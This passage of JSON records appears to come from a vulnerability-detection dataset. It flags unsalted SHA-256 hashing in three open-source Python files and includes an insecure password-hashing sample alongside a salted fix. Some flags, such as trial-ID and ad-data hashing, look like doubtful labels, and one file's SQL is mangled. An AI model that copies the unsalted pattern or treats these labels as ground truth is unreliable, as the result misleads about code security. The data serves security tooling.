"messageKey": "pythonchk.EMPTY_SALT.PYTHON.defect", "params": {}}]}} {"id": "5188881af8c4c13dbdfc7655c08c7730acc6ec588d41de949937ea7e683e8000", "license": {"spdx": ["MIT"], "repo": "sharkguto/teste_carga", "path": "bench_fastapi/authentication/controllers/login.py", "repo_head_hexsha": "56d6e9dcbd3e7b7fe7295d8fcf4b4e8b84943cfb", "stack_hexsha": "6a186a13afeea2c9ca39fb78982684eb10c871db", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 47, "entireCode": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# login.py\n# @Author : ()\n# @Link :\n# @Date : 12/12/2019, 11:43:07 AM\nfrom typing import Optional, Any\nfrom fastapi import APIRouter, Body, Depends, HTTPException\nfrom fastapi import Header, Security\nfrom authentication.models.users import User\nfrom fastapi.security import HTTPBasic, HTTPBasicCredentials, APIKeyHeader\nfrom typing import List\nfrom starlette.responses import Response\nfrom fastapi.encoders import jsonable_encoder\nfrom authentication.interfaces.database import database\nimport jwt\nfrom starlette.status import HTTP_400_BAD_REQUEST, HTTP_401_UNAUTHORIZED\nfrom datetime import datetime, timedelta\nfrom hashlib import sha256\nfrom authentication.interfaces.token import verify_token\n\nrouter = APIRouter()\nsecurity = HTTPBasic(auto_error=True)\napi_key = APIKeyHeader(name=\"x-api-key\", auto_error=True)\n\n\n@router.post(\"/login\", tags=[\"token\"])\nasync def renew_token(\n response: Response,\n user: dict = Depends(verify_token),\n x_api_key: str = Header(None),\n):\n response.headers[\"x-api-key\"] = x_api_key\n return {\"verified\": True, \"user\": user[\"email\"]}\n\n\n@router.put(\"/login\", tags=[\"token\"])\nasync def renew_token(response: Response, user: dict = Depends(verify_token)):\n\n sql = \"\"\"UPDATE users.tbl_users \n SET token = :token WHERE \n id = :id\"\"\"\n\n token = f\"{user['pwd_updated_at']}-{user['email']}-{datetime.now()}\"\n\n mhash = sha256(token.encode(\"utf-8\"))\n\n token = mhash.hexdigest()\n\n await database.execute(query=sql, values={\"id\": user[\"id\"], \"token\": token})\n\n response.headers[\"x-api-key\"] = jwt.encode(\n {**user, **dict(exp=(datetime.now() + timedelta(hours=8)))},\n token,\n algorithm=\"HS256\",\n ).decode()\n\n return {\"renew\": True}\n\n\n# @router.post(\"/login\", dependencies=[Depends(verify_token)])\n# async def renew_token(x_api_key: str = Header(None)):\n# return {\"ok\": x_api_key}\n\n\n@router.get(\n \"/login\", response_model=User, tags=[\"auth\"], response_model_exclude_unset=True\n)\nasync def login_basic(\n response: Response, authorization: HTTPBasicCredentials = Security(security)\n):\n\n sql = \"\"\"SELECT tu.id, tu.email, tu.\"name\", tu.linkedin_id , tu.pwd_updated_at\n FROM users.tbl_users tu \n WHERE tu.passwd is NOT NULL \n AND tu.passwd = crypt(:,tu.) \n AND tu.email = :email\n AND tu.enabled = true \"\"\"\n\n users = await database.fetch_one(\n query=sql,\n values={\"email\": authorization.username, \"secret\": authorization.password},\n )\n if not users:\n raise HTTPException(status_code=HTTP_401_UNAUTHORIZED)\n\n user = jsonable_encoder(users)\n\n sql = \"\"\"SELECT tp.acl_profile as profile\n FROM users.tbl_users tu inner join \n \tusers.tbl_profile_users tpu on tpu.id_users = tu.id inner join \n \tusers.tbl_profile tp on tp.id = tpu.id_profile\n WHERE tu.passwd is NOT NULL \n AND tu.passwd = (:,tu.) \n AND tu.email = :email\"\"\"\n\n profiles = await database.fetch_all(\n query=sql,\n values={\"email\": authorization.username, \"secret\": authorization.password},\n )\n if not profiles:\n raise HTTPException(status_code=HTTP_401_UNAUTHORIZED)\n\n user[\"acl\"] = jsonable_encoder(profiles)\n\n sql = \"\"\"UPDATE users.tbl_users \n SET token = :token WHERE \n id = :id\"\"\"\n\n token = f\"{user['pwd_updated_at']}-{authorization.username}-{datetime.now()}\"\n\n mhash = sha256(token.encode(\"utf-8\"))\n\n token = mhash.hexdigest()\n\n await database.execute(query=sql, values={\"id\": user[\"id\"], \"token\": token})\n\n response.headers[\"x-api-key\"] = jwt.encode(\n {**user, **dict(exp=(datetime.now() + timedelta(hours=8)))},\n token,\n algorithm=\"HS256\",\n ).decode()\n\n return user\n", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "token"}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "encode"}}, {"lineNo": 47, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "sha256"}}]}} {"id": "93dab6a9bb507d4b47b07775fe3b6e5102a6efecb11e67b88159fc532c06f842", "license": {"spdx": ["Apache-2.0"], "repo": "krantirk/keras-tuner", "path": "kerastuner/engine/tuner_utils.py", "repo_head_hexsha": "fbc34866bf4e7ff1d60bf8c341a9325b9d5429b3", "stack_hexsha": "7305e3962fe9733cd02f16a567ab4d4b8d8a9743", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 208, "entireCode": "# Copyright 2019 The Keras Tuner Authors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Utilities for Tuner class.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport contextlib\nimport math\nfrom collections import defaultdict\nimport numpy as np\nimport time\nimport random\nimport hashlib\n\nimport tensorflow as tf\nfrom tensorflow import keras\n\nfrom ..abstractions import display\n\n\nclass TunerStats(object):\n \"\"\"Track tuner statistics.\"\"\"\n\n def __init__(self):\n self.num_generated_models = 0 # overall number of instances generated\n self.num_invalid_models = 0 # how many models didn't work\n self.num_oversized_models = 0 # num models with params> max_params\n\n def summary(self, extended=False):\n display.subsection('Tuning stats')\n display.display_settings(self.get_config())\n\n def get_config(self):\n return {\n 'num_generated_models': self.num_generated_models,\n 'num_invalid_models': self.num_invalid_models,\n 'num_oversized_models': self.num_oversized_models\n }\n\n @classmethod\n def from_config(cls, config):\n stats = cls()\n stats.num_generated_models = config['num_generated_models']\n stats.num_invalid_models = config['num_invalid_models']\n stats.num_oversized_models = config['num_oversized_models']\n return stats\n\n\ndef get_max_epochs_and_steps(fit_args, fit_kwargs):\n if fit_args:\n x = tf.nest.flatten(fit_args)[0]\n else:\n x = tf.nest.flatten(fit_kwargs.get('x'))[0]\n batch_size = fit_kwargs.get('batch_size', 32)\n if hasattr(x, '__len__'):\n max_steps = math.ceil(float(len(x)) / batch_size)\n else:\n max_steps = fit_kwargs.get('steps')\n max_epochs = fit_kwargs.get('epochs', 1)\n return max_epochs, max_steps\n\n\nclass TunerCallback(keras.callbacks.Callback):\n\n def __init__(self, tuner, trial, execution):\n self.tuner = tuner\n self.trial = trial\n self.execution = execution\n\n def on_epoch_begin(self, epoch, logs=None):\n self.tuner.on_epoch_begin(\n self.execution, self.model, epoch, logs=logs)\n\n def on_batch_begin(self, batch, logs=None):\n self.tuner.on_batch_begin(self.execution, self.model, batch, logs)\n\n def on_batch_end(self, batch, logs=None):\n self.tuner.on_batch_end(self.execution, self.model, batch, logs)\n\n def on_epoch_end(self, epoch, logs=None):\n self.tuner.on_epoch_end(\n self.execution, self.model, epoch, logs=logs)\n\n\nclass Display(object):\n\n def __init__(self, host):\n self.host = host\n self.cpu_usage = []\n self.gpu_usage = []\n self.batch_history = defaultdict(list)\n self.epoch_pbar = None\n\n def on_execution_begin(self, trial, execution, model):\n # new model summary\n if len(trial.executions) == 1:\n display.section('New model')\n trial.summary()\n\n # execution info if needed\n if trial.max_executions > 1:\n display.subsection('Execution %d/%d' %\n (len(trial.executions),\n trial.max_executions))\n\n def on_trial_end(self,\n averaged_metrics,\n best_metrics,\n objective,\n remaining_trials,\n max_trials):\n # train summary\n current = averaged_metrics\n best = best_metrics\n rows = [['Name', 'Best model', 'Current model']]\n for name in best.names:\n best_value = round(best.get_best_value(name), 4)\n current_value = round(current.get_best_value(name), 4)\n row = [name, best_value, current_value]\n if name == objective:\n if best_value == current_value:\n row = display.colorize_row(row, 'green')\n else:\n row = display.colorize_row(row, 'red')\n rows.append(row)\n display.display_table(rows)\n\n # Tuning budget exhausted\n if remaining_trials < 1:\n display.highlight('Hypertuning complete - results in %s' %\n self.host.results_dir)\n # TODO: final summary\n else:\n display.highlight('%d/%d trials left' %\n (remaining_trials, max_trials))\n\n def on_epoch_begin(self, execution, model, epoch, logs=None):\n # reset counters\n self.epoch_history = defaultdict(list)\n self.gpu_usage = []\n self.cpu_usage = []\n\n # epoch bar\n self.epoch_pbar = display.progress_bar(\n total=execution.max_steps,\n leave=True,\n unit='steps')\n\n def on_epoch_end(self, execution, model, epoch, logs=None):\n # compute stats\n final_epoch_postfix = {}\n for m, v in logs.items():\n final_epoch_postfix[m] = round(v, 4)\n\n # epoch bar\n self.epoch_pbar.set_postfix(final_epoch_postfix)\n self.epoch_pbar.close()\n\n def on_batch_end(self, execution, model, batch, logs=None):\n logs = logs or {}\n self.epoch_pbar.update(1)\n\n # computing metric statistics\n for k, v in logs.items():\n self.batch_history[k].append(v)\n avg_metrics = self._avg_metrics(self.batch_history)\n self.epoch_pbar.set_postfix(avg_metrics)\n\n # create bar desc with updated statistics\n description = ''\n host_status = self.host.get_status()\n if len(host_status['gpu']):\n gpu_usage = [float(gpu['usage']) for gpu in host_status['gpu']]\n gpu_usage = int(np.average(gpu_usage))\n self.gpu_usage.append(gpu_usage)\n description += '[GPU:%3s%%]' % int(np.average(self.gpu_usage))\n\n self.cpu_usage.append(int(host_status['cpu']['usage']))\n description += '[CPU:%3s%%]' % int(np.average(self.cpu_usage))\n description += 'Epoch %s/%s' % (execution.epochs_seen + 1,\n execution.max_epochs)\n self.epoch_pbar.set_description(description)\n\n def _avg_metrics(self, metrics):\n agg_metrics = {}\n for metric_name, values in metrics.items():\n if metric_name == 'batch' or metric_name == 'size':\n continue\n agg_metrics[metric_name] = '%.4f' % np.average(values)\n return agg_metrics\n\n\ndef generate_trial_id():\n s = str(time.time()) + str(random.randint(1, 1e7))\n return hashlib.sha256(s.encode('utf-8')).hexdigest()[:32]\n\n\ndef format_execution_id(i, executions_per_trial):\n execution_id_length = math.ceil(\n math.log(executions_per_trial, 10))\n execution_id_template = '%0' + str(execution_id_length) + 'd'\n execution_id = execution_id_template % i\n return execution_id\n\n\n@contextlib.contextmanager\ndef maybe_distribute(distribution_strategy):\n if distribution_strategy is None:\n yield\n else:\n with distribution_strategy.scope():\n yield", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 208, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "s"}}, {"lineNo": 208, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "encode"}}, {"lineNo": 208, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "hashlib.sha256"}}]}} {"id": "75817eefee3e1a256ced97b93a4d516758a360aea146d5b45f3c9a160b235fe7", "license": {"spdx": ["MIT"], "repo": "Esquire-Digital/customer-match-translator", "path": "customer_match/cli.py", "repo_head_hexsha": "7b1530bed0fc1a7a9bfc898e31daad6dacc30ddd", "stack_hexsha": "0b1c2d8897a8a76a29c7ff91737c1d331580a06a", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 220, "entireCode": "#!/usr/bin/python3\nimport os\nimport click\nimport sys\nimport csv\nimport time\nimport pandas as pd\nimport country_converter as coco\nimport hashlib\nimport phonenumbers\nfrom tqdm import tqdm\nfrom uszipcode import SearchEngine\n\nHEADER_TRANSLATIONS = {\n \"email1\": \"Email\",\n \"phone1\": \"Phone\",\n \"person_country\": \"Country\",\n}\n\nREQUIRED_HEADERS = {\"\", \"\", \"Phone\", \"Email\", \"Country\", \"Zip\"}\nOPTIONAL_HEADERS = set() # TODO: Add optional headers that can be uploaded.\n\n# All headers that can be in a Customer Match CSV.\nALL_HEADERS = REQUIRED_HEADERS.union(OPTIONAL_HEADERS)\nDO_NOT_HASH = {\"Country\", \"Zip\"}\n\n# ANSI codes to color/format terminal prints.\nANSI = {\n \"YELLOW\": \"\\u001b[33m\",\n \"RED\": \"\\u001b[31m\",\n \"CYAN\": \"\\u001b[36m\",\n \"BOLD\": \"\\u001b[1m\",\n \"RESET\": \"\\u001b[0m\",\n}\n\n\nclass Error(ValueError):\n \"\"\"Base class for other custom exceptions\"\"\"\n\n pass\n\n\nclass FormatError(Error):\n \"\"\"Raised when a file is not in the correct format.\"\"\"\n\n pass\n\n\nclass NoZipError(FormatError):\n \"\"\"Raised when a zip code is not found in a spreadsheet. Sometimes recoverable.\"\"\"\n\n pass\n\n\n# ==========================\n# Formatted console prints\n# ==========================\n\n\ndef warn(message: str):\n tqdm.write(f\"{ANSI['BOLD'] + ANSI['YELLOW']}WARNING:{ANSI['RESET']} {message}\")\n\n\ndef notify(message: str):\n tqdm.write(f\"{ANSI['BOLD'] + ANSI['CYAN']}INFO:{ANSI['RESET']} {message}\")\n\n\ndef check_path(filepath: str):\n \"\"\"Checks that the path to a file exists. To check if a path to the file and the file itself exists,\n use check_csv\n\n Args:\n filepath (str): The path to the file\n\n Raises:\n ValueError: If the path to the file does not exist\n \"\"\"\n path = os.path.dirname(filepath)\n if path.strip() and not os.path.exists(path):\n raise ValueError(f\"The path {path} does not exist.\")\n\n\ndef check_csv(filepath: str) -> csv.Dialect:\n \"\"\"Runs checks on a CSV file, such as whether it exists and if it can be parsed, and returns\n its dialect object\n\n Args:\n filepath (str): Path to the CSV file\n\n Raises:\n ValueError: If the path does not exist, or the file cannot be read as a CSV\n\n Returns:\n csv.Dialect: Parsed CSV dialect from the file\n \"\"\"\n # Check that the file exists, and is a file.\n basename = os.path.basename(filepath)\n if not os.path.exists(filepath):\n raise ValueError(f\"The path {filepath} does not exist.\")\n if not os.path.isfile(filepath):\n raise ValueError(f\"{basename} is not a file.\")\n\n # Try to open the file and verify it can be read as a CSV.\n try:\n file = open(filepath, encoding=\"utf8\")\n dialect = csv.Sniffer().sniff(file.read(100000))\n file.seek(0)\n file.close()\n return dialect\n except csv.Error as e:\n raise ValueError(\n f\"Could not get a CSV dialect for file {basename}. Is it a CSV file? Is it maybe too large?\"\n )\n\n\ndef parse_google_fields(filepath: str, ignore_zip: bool = False) -> dict:\n \"\"\"Parse the header of the CSV to get the Google field names.\n\n Args:\n filepath (str): Path to the CSV file.\n ignore_zip (bool): Flag to ignore the zip code column, and not throw an error if it is missing.\n\n Raises:\n ValueError: If not all required headers can be found\n\n Returns:\n dict: A map from the field name that was found in the CSV to Google's field name.\n eg: \"first_name\": \"\"\n \"\"\"\n field_map = {}\n found_headers = []\n with open(filepath, \"r\", encoding=\"utf8\") as file:\n reader = csv.DictReader(file)\n field_names = reader.fieldnames\n\n # For each field in the header column, try to translate\n # them to a header recognized by Google.\n for field in field_names:\n header = None\n # Check if there is a direct translation first:\n if field in HEADER_TRANSLATIONS:\n header = HEADER_TRANSLATIONS[field]\n # Otherwise attempt to translate snake case:\n elif (translated_field := field.replace(\"_\", \" \").title()) in ALL_HEADERS:\n header = translated_field\n\n # If we have not found this header yet, add it to the map.\n # Otherwise, if we have found the header already, warn the user.\n if header is not None and header not in found_headers:\n notify(f\"Detected header name '{header}' as '{field}' in CSV file\")\n field_map[field] = header\n found_headers.append(header)\n elif header in found_headers:\n warn(\n f\"Duplicate header name '{header}' was extracted as '{field}'. Keeping column with header '{field_map[header]}'\"\n )\n # Check if we have all required headers.\n # All required headers are found if the required headers set is a subset of the headers found.\n if not REQUIRED_HEADERS.issubset(field_map.values()):\n missing_headers = REQUIRED_HEADERS.difference(field_map.values())\n if len(missing_headers) == 1 and list(missing_headers)[0] == \"Zip\":\n if not ignore_zip:\n raise NoZipError(field_map)\n else:\n raise FormatError(\n f\"Not all required headers found. Missing: {', '.join(missing_headers)}\"\n )\n return field_map\n\n\ndef parse_location_fields(filepath: str) -> dict:\n \"\"\"Parse a header of a CSV file to get the country and city.\n\n Args:\n filepath (str): Path to the CSV file\n\n Raises:\n FormatError: If the city, country or both columns cannot be found.\n\n Returns:\n dict: A map from the field name that was found in the CSV to the standardized name.\n eg: \"person_city\": \"City\"\n \"\"\"\n WANTED_FIELDS = {\"state\", \"city\"}\n found_translations = []\n field_map = {}\n with open(filepath, \"r\", encoding=\"utf8\") as file:\n reader = csv.DictReader(file)\n field_names = reader.fieldnames\n\n for field in field_names:\n # Salesql CSVs prefix state and city by person_.\n field = field.lower()\n salesql_field = field.replace(\"person_\", \"\")\n possible_fields = {field, salesql_field}\n if found_set := WANTED_FIELDS.intersection(possible_fields):\n translation = list(found_set)[0]\n notify(f\"Detected header name '{translation}' as '{field}' in CSV file\")\n found_translations.append(translation)\n field_map[field] = translation\n\n if not WANTED_FIELDS.issubset(field_map.values()):\n missing_fields = WANTED_FIELDS.difference(field_map.values())\n raise FormatError(\n f\"Could not find state and city columns. Missing: {', '.join(missing_fields)}\"\n )\n return field_map\n\n\ndef hash_element(element: any) -> str:\n \"\"\"Produces a sha256 hash of an element of data.\n\n Args:\n element (any): The data to be hashed\n\n Returns:\n str: The sha256 hash hex digest\n \"\"\"\n element = str(element).encode(\"utf-8\")\n return hashlib.sha256(element).hexdigest()\n\n\ndef hash_series(series: pd.Series):\n \"\"\"Hashes a series, usually represnting columns in a CSV.\n\n Args:\n series (pd.Series): [description]\n\n Returns:\n [type]: [description]\n \"\"\"\n # If the name of the series is a field\n # that shouldn't be hashed (eg: Zip), don't hash it.\n if series.name in DO_NOT_HASH:\n return series\n else:\n return series.map(hash_element)\n\n\ndef hash_dataframe(dataframe: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Hashes all elements in a Pandas dataframe.\n\n Args:\n dataframe (pd.DataFrame): The dataframe to be hashed\n\n Returns:\n pd.DataFrame: The dataframe with all elements hashed\n \"\"\"\n notify(f\"Hashing {dataframe.size} elements...\")\n start = time.time()\n dataframe = dataframe.apply(hash_series, axis=0)\n notify(\n f\"Finished hashing {dataframe.size} elements in {time.time() - start} seconds.\"\n )\n return dataframe\n\n\ndef get_dataframe(filepath: str) -> pd.DataFrame:\n \"\"\"Gets a dataframe for a given CSV file.\n\n Args:\n filepath (str): Path to the CSV file.\n\n Returns:\n pd.DataFrame: [description]\n \"\"\"\n dialect = check_csv(filepath)\n return pd.read_csv(\n filepath,\n warn_bad_lines=False,\n error_bad_lines=False,\n sep=dialect.delimiter,\n low_memory=False,\n dtype=str,\n )\n\n\ndef translate_dataframe(dataframe: pd.DataFrame, field_map: dict) -> pd.DataFrame:\n \"\"\"Translates a CSV file to use Google's desired field names in the header.\n Any columns with field names that are not recognized by the Customer Match\n specification are removed.\n\n Args:\n dataframe (pd.DataFrame): The DataFrame of the CSV file.\n\n Returns:\n pd.DataFrame: The pandas dataframe that was translated.\n Can be exported to a CSV with the save_csv function.\n \"\"\"\n # Parse the headers into a field_map.\n # Keep only the columns that have matching headers.\n dataframe = dataframe[field_map.keys()]\n # Reverse the map to rename columns to Google's expectation.\n dataframe = dataframe.rename(columns=field_map)\n return dataframe\n\n\ndef save_csv(dataframe: pd.DataFrame, output: str):\n \"\"\"Saves a dataframe to a CSV file.\n\n Args:\n dataframe (pd.DataFrame): The dataframe to be saved\n output (str): The filepath to be saved to\n \"\"\"\n dataframe.to_csv(output, index=False, encoding=\"utf-8\")\n notify(f\"Succesfully saved Customer Match data file to {os.path.abspath(output)}.\")\n\n\ndef get_zip(row: pd.Series, search: SearchEngine) -> str:\n \"\"\"Get the zip code for a row in a dataframe with the city and state.\n\n Args:\n row (pd.Series): A series containing a city and state field.\n search (SearchEngine): The search engine object to lookup the zipcode.\n\n Returns:\n str: The zipcode if found. None otherwise.\n \"\"\"\n try:\n if row.count() == 2:\n res = search.by_city_and_state(city=row[\"city\"], state=row[\"state\"])\n return res[0].zipcode\n else:\n warn(f\"NaN detected for {row['city']}, {row['state']}.\")\n return \"\"\n except (AttributeError, IndexError):\n warn(f\"Zip lookup for {row['city']}, {row['state']} failed.\")\n return \"\"\n\n\ndef get_zips(dataframe: pd.DataFrame) -> pd.Series:\n \"\"\"Gets the zips for a dataframe with city and state columns.\n\n Args:\n dataframe (pd.DataFrame): The dataframe, must have city and state columns.\n\n Returns:\n pd.Series: A series of zip codes correlating to the zips for each city and state.\n \"\"\"\n search = SearchEngine()\n tqdm.pandas(desc=\"Getting zipcodes\")\n zips = dataframe.progress_apply(lambda row: get_zip(row, search), axis=1)\n zips = zips.rename(\"Zip\")\n return zips\n\n\ndef convert_to_iso(dataframe: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Converts a dataframe's Country column to ISO2 format (United States => US)\n\n Args:\n dataframe (pd.DataFrame): A dataframe with a Country column.\n\n Returns:\n pd.DataFrame: The dataframe with the Country column in ISO2 format.\n \"\"\"\n notify(f\"Converting {len(dataframe.index)} countries to ISO2 format...\")\n start = time.time()\n iso2_names = coco.convert(names=dataframe[\"Country\"], to=\"ISO2\", not_found=None)\n dataframe[\"Country\"] = pd.Series(iso2_names)\n notify(\n f\"Finished converting countries to ISO2 format in {time.time() - start} seconds.\"\n )\n return dataframe\n\n\ndef normalize_series(column: pd.Series) -> pd.Series:\n \"\"\"Formats a series (usually a column) of strings to be all lowercase and without whitespace.\n\n Args:\n column (pd.Series): The series of strings to be normalized\n\n Returns:\n pd.Series: The same series, with normalized strings.\n \"\"\"\n\n def format(el: str) -> str:\n el = el.strip()\n el = el.lower()\n return el\n\n return column.map(format)\n\n\ndef get_e164(row: pd.Series) -> str:\n \"\"\"Takes a series containing a Phone and Country column and returns the\n phone number in E.164 format.\n\n\n Args:\n row (pd.Series): A series containing at least a Phone and Country column.\n\n Returns:\n str: The phone number in E.164 format, if it could be formatted.\n None otherwise.\n \"\"\"\n if row.count() == 2:\n try:\n number = phonenumbers.parse(row[\"Phone\"], row[\"Country\"])\n return phonenumbers.format_number(\n number, phonenumbers.PhoneNumberFormat.E164\n )\n except phonenumbers.NumberParseException:\n warn(\n f\"Can't parse phone number {row['Phone']} for country {row['Country']}. It is not recognized as a valid number.\"\n )\n return None\n else:\n # warn(\n # f\"Can't convert phone number {row['Phone']} for country {row['Country']} due to missing data.\"\n # )\n return None\n\n\ndef convert_to_e164(dataframe: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Converts a dataframe's Phone column to E.164. Requires a Country column.\n\n Args:\n dataframe (pd.DataFrame): A dataframe with a Phone and Country column\n\n Returns:\n pd.DataFrame: The same dataframe with the Phone column reformatted to E.164.\n \"\"\"\n tqdm.pandas(desc=\"Converting phone numbers to E.164 format\")\n numbers = dataframe[[\"Country\", \"Phone\"]].progress_apply(get_e164, axis=1)\n dataframe[\"Phone\"] = numbers\n return dataframe\n\n\ndef format_for_hashing(dataframe: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Performs formatting on a dataframe necessary for accurate hashing.\n Will convert the Country column to ISO, normalize all strings, and convert\n the phone number column to E.164 format.\n\n Args:\n dataframe (pd.DataFrame): A dataframe to be formatted\n\n Returns:\n pd.DataFrame: The same dataframe formatted. May have many NaN values!\n \"\"\"\n notify(\"Formatting file for hashing...\")\n dataframe = dataframe.apply(normalize_series, axis=0)\n dataframe = convert_to_iso(dataframe)\n dataframe = convert_to_e164(dataframe)\n notify(\"Done formatting file.\")\n return dataframe\n\n\ndef prune(dataframe: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Drops any rows in a dataframe that contain NaN, and prints\n how many rows were affected.\n\n Args:\n dataframe (pd.DataFrame): Dataframe to be pruned\n\n Returns:\n pd.DataFrame: Same dataframe without rows that have NaN.\n \"\"\"\n total_rows = len(dataframe.index)\n notify(f\"Removing rows with empty values...\")\n dataframe = dataframe.dropna()\n pruned_rows = len(dataframe.index)\n notify(f\"Removed {total_rows - pruned_rows} rows with empty values.\")\n return dataframe\n\n\n@click.command(\n help=\"Generates a Google Ads Customer Match compliant CSV file from a (potentially large) CSV file in another format.\"\n)\n@click.option(\"-o\", \"--output\", default=\"result.csv\", help=\"Path to output file.\")\n@click.option(\n \"--hash\",\n \"do_hash\",\n help=\"SHA256 hash each element in the resulting CSV.\",\n is_flag=True,\n)\n@click.option(\n \"--ignore-empty\",\n help=\"Don't remove rows with empty elements.\",\n is_flag=True,\n)\n@click.option(\n \"--format\",\n help=\"Format the document as it would before hashing with E.164 phone numbers and lowercase names. Will remove a significant amount of rows.\",\n is_flag=True,\n)\n@click.argument(\"filepath\")\ndef main(\n filepath: str, output: str, do_hash: bool, ignore_empty: bool, format: bool\n):\n try:\n file = None\n # Attempt to translate to Google's standard.\n try:\n check_path(output)\n file = get_dataframe(filepath)\n field_map = parse_google_fields(filepath)\n file = translate_dataframe(file, field_map)\n # If the no zip is found, it is possible to lookup zip\n # codes. Ask the user if they want to try.\n except NoZipError:\n warn(\n \"A zip code column could not be found in the CSV file. If there is a state and city column, the zip codes may be able to be automatically detected. This may take hours, depending on your file size.\"\n )\n if click.confirm(\"Would you like to try to detect zip codes?\"):\n field_map = parse_location_fields(filepath)\n states_and_cities = translate_dataframe(file, field_map)\n zip_codes = get_zips(states_and_cities)\n field_map = parse_google_fields(filepath, ignore_zip=True)\n translated = translate_dataframe(file, field_map)\n file = pd.concat([translated, zip_codes], axis=1)\n else:\n sys.exit()\n\n if not ignore_empty:\n file = prune(file)\n\n # Format the file for hashing if we are going to hash.\n # Country codes are converted to ISO as a step in hashing, so\n # we only have to convert if we are not hashing.\n if do_hash or format:\n file = format_for_hashing(file)\n else:\n file = convert_to_iso(file)\n\n # Check again for empty values, if phone numbers can't be formatted\n # or ISO formats can't be found.\n if not ignore_empty:\n file = prune(file)\n\n # Hashing must be the last step, or else NaN will be hashed.\n if do_hash:\n file = hash_dataframe(file)\n\n save_csv(file, output)\n return 0\n except ValueError as e:\n sys.exit(f\"{ANSI['BOLD'] + ANSI['RED']}ERROR:{ANSI['RESET']} {e}\")\n\n\nif __name__ == \"__main__\":\n main()", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 219, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "str"}}, {"lineNo": 219, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "encode"}}, {"lineNo": 219, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 220, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "element"}}, {"lineNo": 220, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": 